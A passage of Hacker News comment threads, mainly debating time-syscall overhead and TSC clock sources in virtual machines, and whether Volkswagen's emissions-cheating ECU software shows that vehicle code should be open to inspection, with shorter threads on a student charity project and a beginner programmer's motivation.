first, then with a simple division and adding an offset. There are sone
caveats though, like you have to check if the CPU has an invariant TSC using
CPUID and every core has a separate register. I think the problem with XEN is
that the VM could be moved across hypervisors or CPUs which would suddenly
change the value of the counter. The latter could be mitigated by syncing the
TSCs across cores (did I mention that they are writable?) and XEN supports
emulating the RDTSC instruction too. I'm not sure how it's configured on AWS,
so it may be perfectly safe or mostly safe.
------
MayeulC
Wasn't a workaround posted for this some time ago, that requires setting the
TZ environment variable?
[https://news.ycombinator.com/item?id=13697555](https://news.ycombinator.com/item?id=13697555)
It seems very closely related, unless I am mistaken.
~~~
daenney
You are not mistaken in that the topics are (somewhat) related, they all have
to do with time. But setting the TZ environment variable doesn't mean your
programs don't execute the syscalls discussed in this article.
This is about the speed of execution of the mentioned syscalls, which will be
called regardless of the TZ environment variable, and how vDSO changes that.
However, by setting the TZ environment variable you can avoid an additional
call to stat to as it tries to determine if /etc/localtime exists.
------
pgaddict
I wonder why the blog post claims setting clock source to 'tsc' is considered
dangerous.
~~~
bandrami
Because if the clock rate changes, tsc can become out of sync.
[https://lwn.net/Articles/209101/](https://lwn.net/Articles/209101/)
~~~
pgaddict
Not really. Recent CPUs (at least those from Intel, which is what EC2 runs on)
implement constant_tsc, so the frequency does not affect the tsc.
A worse issue is that the counters may not be synchronized between cpus, which
may be an issue when the process moves between sockets.
But I wouldn't call that "dangerous", it's simply a feature of the clock
source. If that's an issue for your program, you should use CLOCK_MONOTONIC
anyway and not rely on gettimeofday() doing the right thing.
~~~
blibble
how does constant_tsc interact with VMs being silently migrated from one
physical machine to another?
~~~
pgaddict
Not sure, but it can't be better than moving processes between CPUs I guess.
Also, does EC2 silently move VMs like this?
~~~
poofyleek
Even without migration, the synchronization can be an issue. In older multi-
core machines, tsc synchronization was an issue among cores. Modern systems
take care of this. And core CPU clock frequency change is also taken care of,
so that constant rate is available via tsc. However, when hypervisors such as
VMWare or paravirtualization like Xen come into play, there are further
issues, because RDTSC instruction either has to be passed through to physical
hardware or emulated via a trap. When emulated a number of considerations come
into play. Xen actually has PVRDTSC features that are normally not used but
can be effective in paravirtual environments. The gettimeofday() syscalls (and
clock_gettime) are liberally used in too many lines of existing software.
Their use is very prevalent due to historical reasons as well as many others.
One reason is that the calls are deceptively "atomic" or "isolated" or "self-
contained" in their appearance and usage. So liberal use is common. A lot of
issues come about due to their use, especially in time sensitive applications
(e.g. WAN optimization). This is especially true in virtual environments.
There are complex issues described elsewhere that are kind of fun to read.
[https://www.vmware.com/pdf/vmware_timekeeping.pdf](https://www.vmware.com/pdf/vmware_timekeeping.pdf)
and
[https://xenbits.xen.org/docs/4.3-testing/misc/tscmode.txt](https://xenbits.xen.org/docs/4.3-testing/misc/tscmode.txt).
The issue becomes even more complex in distributed systems. Beyond NTP. Some
systems like erlang has some provisions, like
[http://erlang.org/doc/apps/erts/time_correction.html#OS_Syst...](http://erlang.org/doc/apps/erts/time_correction.html#OS_System_Time).
Other systems use virtual vector clocks. And some systems, like google
TrueTime as used in Spanner, synchronize using GPS atomic clocks. The
satellite GPS pulses are commonly used in trading floors and HFT software.
This is a very interesting area of study.
~~~
pgaddict
It's complex stuff, no doubt about that.
For me, it's much simpler - I come from the PostgreSQL world, so
gettimeofday() is pretty much what EXPLAIN ANALYZE does to instrument queries.
Good time source means small overhead, bad time source means instrumented
queries may take multiples of actual run time (and be skewed in various ways).
No fun.
~~~
poofyleek
It is complex and interesting. I am a novice database user. But I do know many
databases use 'gettimeofday' quite a lot. Just strace any SELECT query. Most
databases I have used, including Postgresql, also have to implement MVCC which
mostly depend on timestamps. Imagine the hypervisor CPU and memory pressure
induced time drift, or even drift in distributed cluster of database nodes. It
hurts my head to think of the cases that will give me the wrong values or
wrong estimate for getting the values. It is an interesting area.
~~~
pgaddict
MVCC has nothing to do with timestamps, particularly not with timestamps
generated from gettimeofday(), but with XIDs which you might imagine as a
monotonous sequence of integers, assigned at the start of a transaction. You
might call that a timestamp, but the trouble is that what matters is commit
order, and the XID has nothing to do with that. Which is why the MVCC requires
'snapshots' \- a list of transactions that are in progress.
------
teddyuk
How common are get time calls so that they would actually be an issue?
I've worked on quite a few systems and can't think of a time where an api for
getting the time would have been called so much that it would affect
performance?
~~~
tyingq
Timestamped logs, transaction timeouts, http keepalive timeouts, cache
expiration/eviction, etc.
Apache and nginx for example, both call gettimeofday() a lot.
Edit: Quick google searches indicate software like redis and memcached also
call it quite often.
~~~
Anderkent
So does cassandra.
------
westbywest
OpenJDK has an open issue about this in their JVM:
[https://bugs.openjdk.java.net/browse/JDK-8165437](https://bugs.openjdk.java.net/browse/JDK-8165437)
------
peterwwillis
> All programmers deploying software to production environments should
> regularly strace their applications in development mode and question all
> output they find.
Or, instead, you could just not do that. Then you could go back to being
productive, instead of wasting time tracking down unstable small tweaks for
edge cases that you can barely notice after looping the same syscall 5 million
times in a row.
When will people learn not to micro-optimize?
~~~
jankedeen
Crapulent and without merit.
------
known
Just curious to know the status on Azure;
------
damagednoob
w
| {
"pile_set_name": "HackerNews"
} |
Highschooler's solution to charities' marketing - techwurk
http://www.techwurk.org
======
techwurk
Explanation: Created by a group of high school students, techwurk pairs
skilled students with charities in need of web or graphic design. The students
get volunteer hours or scholarships, and the charities have the chance to put
resources towards education, not corporations.
| {
"pile_set_name": "HackerNews"
} |
More Than a Year Later– An Embarrassing Confession To Make By A Wannabe Coder - socialcoder
http://www.codelogs.org/more-than-a-year-down-the-line-an-embarrassing-confession-to-make/
======
jaachan
Why switch a language just 'cause it's the popular thing on SO? Stick with a
language till you got the coding skills done. Switching language after that is
pretty easy.
~~~
qbrass
He switching because he's losing motivation and hopes a new language will
solve his problems.
~~~
socialcoder
You got that right. It's a battle with my inner monster.
------
blowski
Well you're honest with yourself, and it seems like you know what the answer
is. It's great that you're following a 'marriage-driven development'
methodology, so pick a language and stick with it, be it PHP, Python or Ruby.
None of them is universally better than the others.
Most languages are better at solving specific types of problem. Choose what
types of problem you most enjoy working on, and pick the language that suits
those problems.
| {
"pile_set_name": "HackerNews"
} |
Volkswagen’s Diesel Fraud Makes Critic of Secret Code a Prophet - nkurz
http://www.nytimes.com/2015/09/23/nyregion/volkswagens-diesel-fraud-makes-critic-of-secret-code-a-prophet.html?_r=0
======
silverpikezero
This would be a good time to point out that a similar auto software story
found its way to HN recently:
[https://news.ycombinator.com/item?id=9643204](https://news.ycombinator.com/item?id=9643204)
Once Toyota's ECU code was reviewed by domain experts, they found
extraordinary lapses in basic software quality practices. This and the VW
fiasco clearly show that hiding ECU code is the wrong way to go. We can
directly measure the negative consequences, and these are only _2_ such
incidents discovered recently. Who knows how many more issues are still
hiding. We won't really know how at risk we are unless there is some kind of
3rd party review process, required by law. Clearly, the auto industry will
prioritize profits and liability over actual quality, in much the same way
that banks will never voluntarily limit their risk at the sacrifice of
profits. Self-regulation is not working.
~~~
InclinedPlane
I agree completely, but on the other hand I'm not convinced that tighter
government regulation of ECU code would be better. Can a bunch of government
bureaucrats come up with a set of standards and regulations that would
actually be beneficial? Given the track record with similar projects, it looks
doubtful.
Really I'd say that part of the problem here is that academia has been letting
us down. CS programs are universally of fairly low quality, in my opinion, and
proper software engineering programs are very rare. There has been
insufficient pure research into software development practices, software
design patterns and features, and so on in regards to what is required and
what is beneficial when it comes to creating control software and firmware.
Industry too has been letting us down with their lack of pure research in
general, but that's been obvious for a while.
We're starting to reap what we've been sowing for the last several decades in
software engineering. We got out of the first "software crisis" where many
software projects didn't even deliver anything worthwhile or functional, but
now we are in another perhaps even more severe software crisis. One where
shipping software that "works" isn't a problem, but where making sure that it
does the "right thing" and is sufficiently secure, robust, etc. for the
intended use is becoming a huge issue. And not just a financial one, but one
that can (and will, and has) result in injury, death, and destruction. We very
much need to wake up to the seriousness of this problem, it's not going to get
better without concerted efforts to fix it.
~~~
adrianN
I develop safety critical software for railway applications. We have to follow
some ISO norms that contain some sensible rules. For example, code reviews are
mandatory, we need to have 100% test coverage, the person who writes the tests
must be different from the person who writes the code etc. This leads to
reasonably good code.
It also makes some things a lot more difficult. For example the compiler must
be certified by a government authority. This means we're stuck with a compiler
nobody ever heard of that contains known (and unknown) bugs that can't be
fixed because that would mean losing the certification.
I assume the car industry has a similar set of rules and the problem is not a
lack of rules, but a lack of enforcement.
~~~
RealityVoid
> We have to follow some ISO norms that contain some sensible rules. For
> example, code reviews are mandatory, we need to have 100% test coverage, the
> person who writes the tests must be different from the person who writes the
> code etc.
The exact same thing happens in the car industry.
> I assume the car industry has a similar set of rules and the problem is not
> a lack of rules, but a lack of enforcement.
Bingo! Right now I'm staring at some ECU code(not safety relevant, thankfully)
that looks like it's been written by a monkey, but I'm a new addition to the
team, have no authority here yet and we have to ship it like yesterday.
Guess what will happen.
Truth be told, for safety relevant applications, I've seen the code and it's
quite good. And the issue in this case is not that the software was badly
built, it's that it was built with deceit on their mind.
~~~
pbhjpbhj
>some ECU code(not safety relevant, thankfully) //
What parts of the running of an automobile engine aren't safety relevant?
Sounds like "oh we made the stock for that shotgun from cheap, brittle plastic
as the stock isn't safety relevant; how were we to know that it would crack
and embed itself in someones shoulder?".
You're right that the primary issue here is deceit but the issue of closed
source code in such systems is how that deceit was possible [edit, should
probably say "facilitated that deceit" as the deceit would still be possible,
just harder and move discoverable with open source]; and that leads to
questions of safety as if companies will screw over the environment against
the democratic legislation then they're unlikely to be mindful of other
morally negative consequences.
~~~
Too
Infotainment, air conditioning, etc. There are many many more ECUs in a car
than just the one in the engine.
------
credo
I think the Volkswagen episode shows that we need better emission testing
mechanisms.
Demanding that all code be open-source unfairly targets the software industry
(companies that sell software products for money). Why not ask Google to make
their search engine code public ? If all software code must be publicly
available, why not demand that Coca Cola also make their formula and their
entire manufacturing process public ? Why not insist that no product must have
any proprietary/secret information about how the product was created ?
Ultimately, the proof is in the pudding. I think we need a better emission
testing system for testing emissions, not a government review of software
code.
IMO asking for free software code is an ideological demand that is better
promoted through the free market. Free software ideologues should refuse to
buy products that have proprietary components, but all of us should only ask
that the government fix its emission testing process.
~~~
lemming
_Why not ask Google to make their search engine code public?_
That's a great question - why not? For many consumers, Google essentially _is_
the internet, and by meddling with search results (which they already do to
try to personalise my results) they could make or break companies or
politicians by presenting one-sided or even false material. That's a lot of
power - why shouldn't we know how it works to make sure they're not abusing
it?
~~~
danso
Why do you need to see Google's source code when you already know that Google
is personalizing the search results for you? Hypothetically, what kind of
parameters discernible in Google's search code would make the difference
between "OK meddling" versus "Evil meddling"?
The bigger question is: why do you think that there is some kind of pure,
objective ranking of websites that Google is now tampering with? Do you think
that someone whose IP is located in Utah should get the same result for "good
hamburgers late night" as someone in New York? If someone from Vietnam
searches for "Vietnam War"...should they be sent to the entry at
vi.wikipedia.org because it's in Vietnamese and perhaps more relevant to the
Vietnam user? Or to en.wikipedia.org's version, because besides having a
shitton more inbound links, it's likely to have also many, many more eyes and
editors on it? These are complicated things that we don't need a review of
source code to debate. But your suspicions toward them seems to be based off
of a worldview in which there is One True Web for everyone, which seems as
problematic as the mindset that surely Google can do no evil.
Given that Google uses personal data to shape the web its users see...isn't it
even more relevant to see the data they collect? AFAIK, Google still allows us
to download virtually every bit of data we've explicitly generated on its
services, including all the emails and search requests we've conducted.
~~~
thaumasiotes
> If someone from Vietnam searches for "Vietnam War"...should they be sent to
> the entry at vi.wikipedia.org because it's in Vietnamese and perhaps more
> relevant to the Vietnam user? Or to en.wikipedia.org's version, because
> besides having a shitton more inbound links, it's likely to have also many,
> many more eyes and editors on it? These are complicated things
I don't find this one so complicated; they're better sent to en.wikipedia.org,
because that page, like their query, is written in english.
~~~
danso
Sorry if this is already evident to you...but the differences between
Wikipedia sites is not just about the language. vi.wikipedia.org is
independently edited and maintained from en.wikipedia.org. The Vietnamese
wikipedia page [1] is not as lengthy as the English one. And I'm not as good
as reading Vietnamese as I should be, but the Vietnamese page doesn't seem to
have the same content for "Media and censorship" that the English one
does...among other differences. So I don't think it's as simple as "Send them
to whatever language they used" (though I guess this is one case where seeing
Google's source code would be enlightening, so...touché?)
[1]
[https://vi.wikipedia.org/wiki/Việt_Nam](https://vi.wikipedia.org/wiki/Việt_Nam)
~~~
thaumasiotes
I have no doubt that the English page is higher quality than the Vietnamese
one. That won't matter at all unless the person searching can read English.
When looking for information, there are no concerns greater than "even if I
find it, can I understand it?"
Even if the Vietnamese page were better, there's no excuse for replying to an
English query with a Vietnamese result.
------
Angostura
Hopefully, the Volkswagen events may make people think rather more about what
is going on in their voting machines.
~~~
logfromblammo
I am up-voting you _so hard_ right now. I really, really want it to be true.
But I doubt that anyone even remotely likely to connect those two dots will be
allowed anywhere near the camera lenses of any company that broadcasts
television.
The source code to one of Diebold Elections Systems (now dba Premier Elections
Systems) voting machines was leaked in 2003, which summoned blackboxvoting.org
into existence.
As far as I know, every voting machine system that has been examined since
then has been found to have potential attack vectors large enough to fly an
intercontinental airliner through. When the public records are examined, the
audit trail is often nonexistent, destroyed, or falsified.
In the 12 years since then, the only meaningful result has been to end the
practice of exit polling in the U.S. Yep, rather than explain the
discrepancies between statistical sampling methods and the official results,
we chose to stop sampling and trust the results.
So some academics apply statistical methods to the official results, to show
convincing evidence that one major party or the other, or both, are blatantly
cheating using specific voting machine systems.
You can hear those crickets chirping over the din of the absolute silence.
~But hey, let's all get worked up over homosexual marriage and Syrian
refugees, mmkay? The 2016 national elections will be _perfectly fair and
honest_ , and not cracked and defrauded at the central tabulators _at all_.
And since there's no cheating going on there, there certainly wouldn't be any
at the primary level, with lower levels of scrutiny.~
Open source is democratic, but democracy certainly isn't open source.
~~~
webXL
Why did we end exit polling? Seems like an obvious counter-measure/check.
I don't trust for-profit media to conduct them. This is something that we all
need to chip in to accomplish, if we care about democracy. If we can't trust
election results, we really can't trust anything connected to government, and
as the state continues to grow, that's very little.
~~~
logfromblammo
There are two reasons.
Firstly, they were diverging from official results. There are two possible
reasons. Reason one would be that the exit polls were not accurately
reflecting the will of the people. Reason two would be that the official
results were not accurately reflecting the will of the people. It could be
both.
Since reason two would have been too uncomfortable to consider, reason one was
chosen. And the exit polls dried up.
It is not even widely known that prior to ending the polling completely, the
pollsters were already applying statistically-calculated adjustment factors
before reporting the poll results on air, in order to force the polling
numbers to predict the official results more accurately.
I don't even need to put my foil hat on to say that I trust a statistical
prediction made by blindly sampling from a random pool of volunteer
respondents over a secret-source black box that pretends to be counting votes,
where there is significant incentive to cheat.
The great thing about exit polling is that _anyone_ could do them, and publish
the results along with their margin of error. And some people still do. They
just don't get reported on television during elections night coverage any
more.
The second reason is that news programs are now reporting official results, as
they are tallied and reported by those black box computer systems. The
computers can count electronic ballots quickly enough to report initial
results shortly after voting booths close. Exit polls lost the advantage of
speed. The television news programs like to be able to project the likely
winners as soon as possible, and preferably before any competitors. By the
time the hand-counted paper ballot areas finish reporting, the winners have
already been known for hours, if not days.
~~~
webXL
Seems like this trust issue could be solved with a bit of cryptography. A
search for "blockchain elections" turned up some interesting proposals.
[http://www.bitcongress.org/](http://www.bitcongress.org/) seems like it's
being served over 28k modem though.
------
seibelj
My company, like most companies, relies on an enormous amount of open source
code in order to construct a closed source product.
We have also contributed to open source, and have plans to contribute more.
There are certain things that help everyone without jeopardizing our business,
and other things that are too valuable to share.
We cannot force a company to open source code without an extraordinarily good
reason. I believe in open source and support it, but at the application level
it is a trickier issue.
~~~
throwaway7767
> We cannot force a company to open source code without an extraordinarily
> good reason. I believe in open source and support it, but at the application
> level it is a trickier issue.
The fact that human lives depend on the correct functioning of the code is an
extraordinarily good reason. IMO, any code that can affect driving safety
should be required to be released (note: this does not mean that the companies
must relenquish any copyright claims, just that the code has to be publicly
available for inspection).
Right now this is hard to do because all the auto manufacturers like to have
everything connected, so the result of this would be that everything including
the in-vehicle entertainment system would have to be open-sourced. But that's
the point - such a requirement would overnight force the manufacturers to
implement a proper seperation between critical software and non-critical, so
that they could keep the non-critical stuff closed.
------
s0rce
I'm curious how other companies did not know about this. Did engineers at
GM/Chevy not inspect the VW product and figure out that it was cheating or
even suspect that their competitor couldn't have some sort of magic
engineering snake oil to pass emissions.
~~~
etep
Great question. I've seen companies with entire teams dedicated to dissecting
the performance claims of the competition, and then running their own tests to
verify and/or debunk the same. Keeps everyone honest, and it prods along the
in-house engineering effort. Why didn't the other automakers see this?
~~~
cpeterso
Maybe other car companies don't want to know because VW is not the only guilty
company? What are the odds that only one car company cheated on only one car
model?
------
LVB
I understand and sympathize with this point of view, but I have no idea how it
would work out practically. Software patents are rightly criticized and I
don't think they should be the avenue to recapture investment. But if you also
remove trade secrets, the dynamics behind expensive R&D would certainly be a
lot different.
I used to work for a company that produced diesel engine. Trying to pass ever
stringent emissions meant massive capital investment and millions of dollars
in research and testing. The "secret sauce" ends up being a few thousand lines
of code and lots of constants. It is literally the make-or-break factor in
whether a manufacturer can sell a product or not. If all results had to be
immediately shared, what happens to the competitive zeal?
My most optimistic perspective is that critical pieces of software just become
common, with everyone latching onto the best option available. There is still
plenty of room to differentiate, especially in something like a car, and that
the sharing would be just generally beneficial.
But will the real breakthroughs still occur if there isn't the potential to be
substantially better (and substantially rewarded) at some fundamental factor,
like fuel efficiency?
~~~
alkonaut
Hopefully any system of "code inspection" could be done by authorities, and
not require the code to be public.
As an example: I'm not sure, but I believe the Nevada Gaming Control Board
inspects the source code of gambling machines in Las Vegas casinos. This
doesn't mean the casinos can't have secrets in the source code, it just means
that the authority sees all the secrets.
I do think however that "code inspection" for engine control units is a dead
end. Writing underhanded code that appears to do X but instead does Y is so
easy. (See
e.g.[http://www.underhanded-c.org/](http://www.underhanded-c.org/)).
Inspecting a 100k C-program for illegal behaviour won't be doable until the
next years model is out, at which point it's time to start again.
The solution is to treat the code as a black box, and just test it as a black
by casting a wide net. The problem is the reliance on simple lab tests that
are easily fooled.
------
vetler
Somewhere, this software sits in a source code repository. Someone planned it,
wrote it, reviewed it and approved it. Where are these people, and why are
they not speaking up? Why have there not been any whistleblowing on this, it's
huge?!
~~~
pt3530
What I have seen missing from most reports is that VW does not make the ECUs.
Consumer reports has reported[1] that Bosch was the company that produced
these ECU. So Bosch should have the repository and should have a request from
VW to implement this particular code. I wonder if Bosch will be forced to
throw VW under the bus.
[[http://www.consumerreports.org/cro/cars/volkswagen-
emissions...](http://www.consumerreports.org/cro/cars/volkswagen-emissions-
cheat-exploited-test-mode.htm)]
~~~
seren
If this is provided by a third-parties, there is a requirement written
somewhere for the supplier to have two different modes of operation, one for
test and one for road. This is likely redacted to be innocent sounding, but
there is definitely a DOORS history that would give the date and the name of
the people who have written the requirements.
However there might be some good reason to have a test mode, for engineering
tests, for example. The culprit would be the one who have decided to ship it
and activate in production.
~~~
cakes
This is definitely a question I have especially since in my experience
sometimes you had trade-offs due to other restrictions so every functional
item needed to have value and new functionality may require
removing/changing/disabling other functionality.
------
bmaupin
"A group of automobile manufacturers said that opening the code to scrutiny
could create 'serious threats to safety and security.' And two months ago, the
E.P.A. said it, too, opposed such a move because people might try to reprogram
their cars to beat emission rules."
Oh, the irony.
------
snowwrestler
I think that the code that operates dangerous machines should be publicly
available. I think that applying the DMCA to keep it hidden is a bad
application of that law.
The DMCA was intended to protect creative works like movies or songs, where
the whole value is in the encoded file.
Code that runs a car is the opposite: it is worthless by itself. Keeping it
hidden from the public just enables bad behavior, like Toyota's terrible code
or VW's deception.
~~~
x5n1
Yes but it gives it to competitors as well, which is a problem.
~~~
phire
But your competitors can't really steal it, because they are subject to the
same rules and have to make their code available too. So any theft of code
will be apparent.
Manufactures will probably check each others code to make sure none of their
own code has been stolen and file lawsuits if it has.
~~~
ernsheong
There's still China you know. They don't play by the rules and copy everything
relentlessly.
------
ekianjo
No mention of RMS as an earlier prophet ?
~~~
oska
Eben Moglen has had a long history with the Free Software Foundation. He co-
drafted version 3 of the GPL and still serves as their legal counsel. It's not
necessary to mention RMS every time other leaders of the Free Software
movement make a comment on something, unless it's something specific RMS has
said on the subject.
------
d_theorist
VW could have given the EPA the complete source code for its system, and it
would likely have made no difference.
The main thing preventing inspect-ability isn't lack of access to the code.
It's the incredible complexity of the software. Even barring deliberate
attempts at code obfuscation, it would be prohibitively time-consuming and
expensive for the EPA to gain any sort of understanding of a codebase of this
size.
Comparing a complex software system to an elevator is absurd.
~~~
krupan
"The main thing preventing inspect-ability isn't lack of access to the code."
No, I'm pretty sure you can't inspect code that you don't have access too.
I get what you are saying about complexity, but I don't think that's an
argument for prohibiting inspection altogether. This story directly
illustrates that there was at least for this particular car a group of people
will and able to inspect at least a particular part of the code, if they had
access to it.
~~~
d_theorist
>This story directly illustrates that there was at least for this particular
car a group of people will and able to inspect at least a particular part of
the code, if they had access to it.
How does it illustrate that?
They discovered the scam by doing _better emissions testing_ not by reverse
engineering the code.
~~~
breischl
That's true, but then there followed a long time (18 months?) in which VW
denied any wrongdoing, and nobody could really prove them wrong. If the source
code were available, the investigators could have quickly gone from "this
looks wrong" to "hey, check out this really sketchy source code!" It might
also prove that it was deliberate, rather than a complicated accident.
Also, I have a hunch that they wouldn't have done it in the first place. If
you know your code is going to be public that's an incentive not to do bad
things, even if there's a chance nobody will ever read it.
~~~
d_theorist
>Also, I have a hunch that they wouldn't have done it in the first place.
That's a good point. But, I see no practical way to enforce that the source
code that has been published is actually the same as that running on the car.
Not without prohibitively slowing the pace of development.
> the investigators could have quickly gone from "this looks wrong" to "hey,
> check out this really sketchy source code!"
I really don't think this is true. Not quickly. The investigators would have
be a big team of expensive code audit experts to achieve this. And, even then,
if the authors wanted to, they could easily obfuscate the code to the point of
making it effectively unfindable.
Apple can't even guarantee that the apps it's auditing for inclusion on the
app store are malware free. And that's _Apple_. And apps are relatively simple
compared with the codebase for a modern automobile.
The real way to fix this is just to have better and harder-to-defeat testing
procedures.
~~~
breischl
>>I see no practical way to enforce that the source code that has been
published is actually the same as that running on the car.
I was going to say that you could dump the code from a random vehicle and
compare the hashes. But I suppose that would require having the entire
toolchain to go from source to shipped code.
>>Not quickly.
Perhaps I should've said "more quickly." You've got a point that it's
difficult to verify that code doesn't do anything bad. However, it's
_relatively_ easy to start from the notion that it's doing one particular bad
thing and then find the code that does it, which would've been the case here.
------
ChuckMcM
And here I thought it was going to be an article about Richard Stallman. :-) I
like the approach that proprietary software is an 'unsafe building material'
(or component). I think that is something non-technical folks can understand a
bit more easily than "software rights". I hope Stallman adds this approach to
his arsenal.
------
bcg1
Recording of Eben Moglen's speech, if you'd like to listen instead of reading
the transcript:
[http://www.softwarefreedom.org/podcast/2010/jul/20/episode-0...](http://www.softwarefreedom.org/podcast/2010/jul/20/episode-0x2c-eben-
software-liability/)
------
tomphoolery
The amount of logic that went into this program just so Volkswagen wouldn't
have to lessen their emissions seems...illogical. Did it really cost less to
build, QA and deploy this software (and keep it under wraps for this long)
than it would have to just fix the damn engines?!
~~~
function_seven
Just like "good, fast, cheap: pick two" there's a similar rule in automotive
tuning: "Fast, efficient, clean: pick two"
VW decided to go for all three.
~~~
chao-
That's an interesting comparison. What would it mean, from a mechanical or
chemical perspective, for an engine (or the whole car?) to be both very fast
and very clean, but not efficient? Does not the inefficiency also lead to a
lessening of cleanliness?
I know that would probably require defining "clean" as distinct from
"efficient", I simply know very little about cars and so the fast+clean idea
feels a little off, and I'd like to know where I'm wrong.
~~~
function_seven
> Does not the inefficiency also lead to a lessening of cleanliness?
All depends on what we're measuring. In the case of VW, it's the NOx limits
that they were cheating on. In order to reduce NOx, you can run a richer
air/fuel mixture, which consumes more fuel and is thus inefficient.
If you're instead talking about C02, then you're generally right. Efficiency
and cleanliness are aligned.
And my original comment could probably be rephrased as, "fast, clean,
efficient, reliable, cheap: pick any three". But that doesn't have zing to it
:-)
------
dragony4
You really believe it was only VW doing this and not other companies? And it
was miraculously discovered and not part of automotive war?
~~~
JanneVee
The Swedish transport agency found that Volvo, BMW and VW had ten times as
much nitrous oxide in roadtest than labtests. So it might be automotive war.
------
gaius
I certainly hope Google will open-source their self-driving car code before it
is let loose on the public roads.
~~~
wodenokoto
That wouldn't matter. We don't know how to inspect a trained deep neural net.
No one knows how the car drives.
~~~
davmre
A trained network should be considered compiled code. It's almost literally a
circuit wiring diagram, the lowest level of all code representations.
Arguably the "source" in this case is the dataset used to train the model,
along with the learning algorithm. If the data are released, so that you can
inspect them and replicate the network weights yourself with an off-the-shelf
learner, that's a reasonably good sign that nothing nefarious is going on
inside the system. (though not strictly a guarantee: you could imagine someone
searching very hard to find an innocuous-looking training set that somehow
encodes malicious behavior)
------
alansmitheebk
This would be a great time to point out that the diesel engine was originally
intended to be run on peanut oil. Any diesel automobile can run on "bio-
diesel" with no additional modifications. You may be (un)surprised to learn
that the inventor of the diesel engine died a rather mysterious death on a
trans-Atlantic cruise.
------
Pamar
Haven't read all the comments yet, so maybe others have commented on this
already, but I find the premise (critic of secret code validated by VW
scandal) weak.
According to the article:
“Proprietary software is an unsafe building material,” Mr. Moglen had said.
“You can’t inspect it.”
Except that in this specific case, it was the _builder_ who designed and
implemented something "faulty" precisely because they needed that. There is a
difference between installing a third-party set of windows and finding out
that it soon falls apart because the frame is defective, and installing
windows after you have secretly bored small holes in the frame (because you
have an interest in your tenants going overquota with their heating expenses).
------
cmurf
Making it possible to download the firmware as a binary blob, even if it's
encrypted, so that it can be hashed and compared to the published hash for the
version of the software that's supposed to be in the car; while also
publishing the source code of that version, doesn't in any way mean the user
has a way to modify the code, compile it, and install it into the car.
Now maybe the people talking about this to the reporter don't know this; but I
suspect people at the car manufactures know they could do this, they simply
don't want to, so they cherry pick b.s. arguments why disaster will strike if
code is published.
------
tefo-mohapi
I hear all this talk about how this software scandal by VW is pointing to the
end of diesel cars but this raises concerns about electric cars as they rely
heavily on software. We actually discuss this in this podcast
[http://www.africantechroundup.com/volkswagen-up-in-smoke-
as-...](http://www.africantechroundup.com/volkswagen-up-in-smoke-as-the-south-
african-government-is-set-to-investigate/) and even more concerning is when it
comes to self driving electric cars. Mmm...
------
clamprecht
I can't believe it - not a single comment about Richard Stallman (in the
article or this thread). When I read the title, I thought the article would be
_about_ Richard Stallman.
~~~
krupan
Richard Stallman's lawyer isn't close enough for you? :-)
------
acd
I want open firmware in my next laptop so its inspectable.
If you mix open source with closed firmwares you are half doing it. Half doing
it means there are potential malware lurking around hidden in some corner
where no one looks.
Richard Stallman has been right the whole time.
Also if the software is open there is possibility to maintain the code long
after the manufacturer makes the next model and loses interest in the old
device.
------
wedesoft
I think it's a really weird situation where everybody has painted themselves
into a corner:
* the emission tests are extremely tight
* the car industry is very competitive
* loosening emission standards would be a politial issue
As far as I know things started badly with emission tests not being
representative and car manufacturers doing cheap fixes to pass them. Now would
be a good time to fix this mess.
------
marcosscriven
In the article, they say the software detected the 'speed' of the vehicle
among other things. I always thought the speed was simply calculated as a
function of the wheel turning rate - unless the article really means
'acceleration', and there's such sensors in the car?
~~~
tajen
When the trajectory assistance detects that the front wheel spins at 60mph
whereas the back wheels are fixed, of course the code puts itself in a special
condition. Same goes if the wheel meets no resistance to acceleration. It's
either surfing on butter or in a garage.
~~~
marcosscriven
Interesting - didn't know a) that cars measured torque, or b) speed of the
unpowered wheels.
~~~
fianno
For the likes of ABS to work the car needs to know the speed of all wheels.
------
matthewaveryusa
>A group of automobile manufacturers said that opening the code to scrutiny
could create “serious threats to safety and security.”
I think it is tremendously difficult for the layman to understand that
obscurity is not security. In fact it's counter-intuitive at first.
~~~
gress
Obscurity is not security. True.
Transparency is not security. Also true.
~~~
davexunit
But transparency is a _prerequisite_ for security. Free software isn't
necessarily secure, but only if its free software can we check and verify or
fix it and distribute modified versions.
~~~
gress
That was true when the incentive was for vulnerabilities to be disclosed and
fixed for the good of all, but sadly today, vulnerabilities are extremely
valuable and so the incentive is for them to be sold to the powerful.
------
digitalneal
As a car guy, I fear this fraud is the symbolic fallen domino that will lead
to the end of my hobby of tweaking the tunes on the ECU of my Subaru WRX STi.
~~~
sounds
How will Volkswagen's cheating, or Eben Moglen for that matter, make it more
difficult to tinker with your car?
The Magnussen-Moss Act aside, auto makers seem to have failed to notice that
DMCA-ing their software has not stopped tweakers and modders.
It's so bad that John Deere doesn't want you to own your own tractor, just
"license" it from them [1] (ostensibly so that they can refuse to let you look
at the ECU). Would they take this step if they were confident in the DMCA's
protections?
Hollywood was the bellweather and tip-of-the-iceberg with DVD-CSS many years
ago.
[1] [http://www.wired.com/2015/04/dmca-ownership-john-
deere/](http://www.wired.com/2015/04/dmca-ownership-john-deere/)
------
venomsnake
Really? Can't I hack into the build chain and inject code while building. The
code will pure and clean like a ice block for sculpting.
------
jaybuff
"Reflections on Trusting Trust To what extent should one trust a statement
that a program is free of Trojan horses? Perhaps it is more important to trust
the people who wrote the software. "
[https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thomp...](https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf)
------
tibbon
If it was standard for the software on vehicles to be FOSS, this type of
problem wouldn't exist.
------
jd3
Stallman must be happy now that someone is actually listening (albeit; not to
him)
------
on_
Does external code review even matter? Leaving aside the difficulties of
fighting with lobbyists, entrenched companies, unions, IP risk and financial
obligations, (among many other points of friction) what is the upside?
OTA and continuous integration will only improve, and likely at a logarithmic
pace typical to other technological advancements. What if you during your
project you needed every line of code reviewed before it was deployed (you
probably do), but then a thrid party has to review it before you can ship it?
This would KILL turn around time.
Entire teams are devoted to writing and reviewing this software at every
company, and each continuous update. These updates can be rolled out daily,
weekly or monthly. It probably takes internal testing and internal reviewing
to push code. This is non-trivial and scales with the complexity of the
design. Further, as difficult as internal reviews and testing may be, it can
still be incorrect; even when the reviewers have intimate knowledge of the
entire codebase and the granular changes, source-code diffs, and commented
commit messages.
How many people do you reckon it would take to independently review every line
of code in production? At what level of inspection would you be able to
achieve a confidence level >90% that the code did what the developers allege
in a safe and sane manner? Open source works because people can contribute
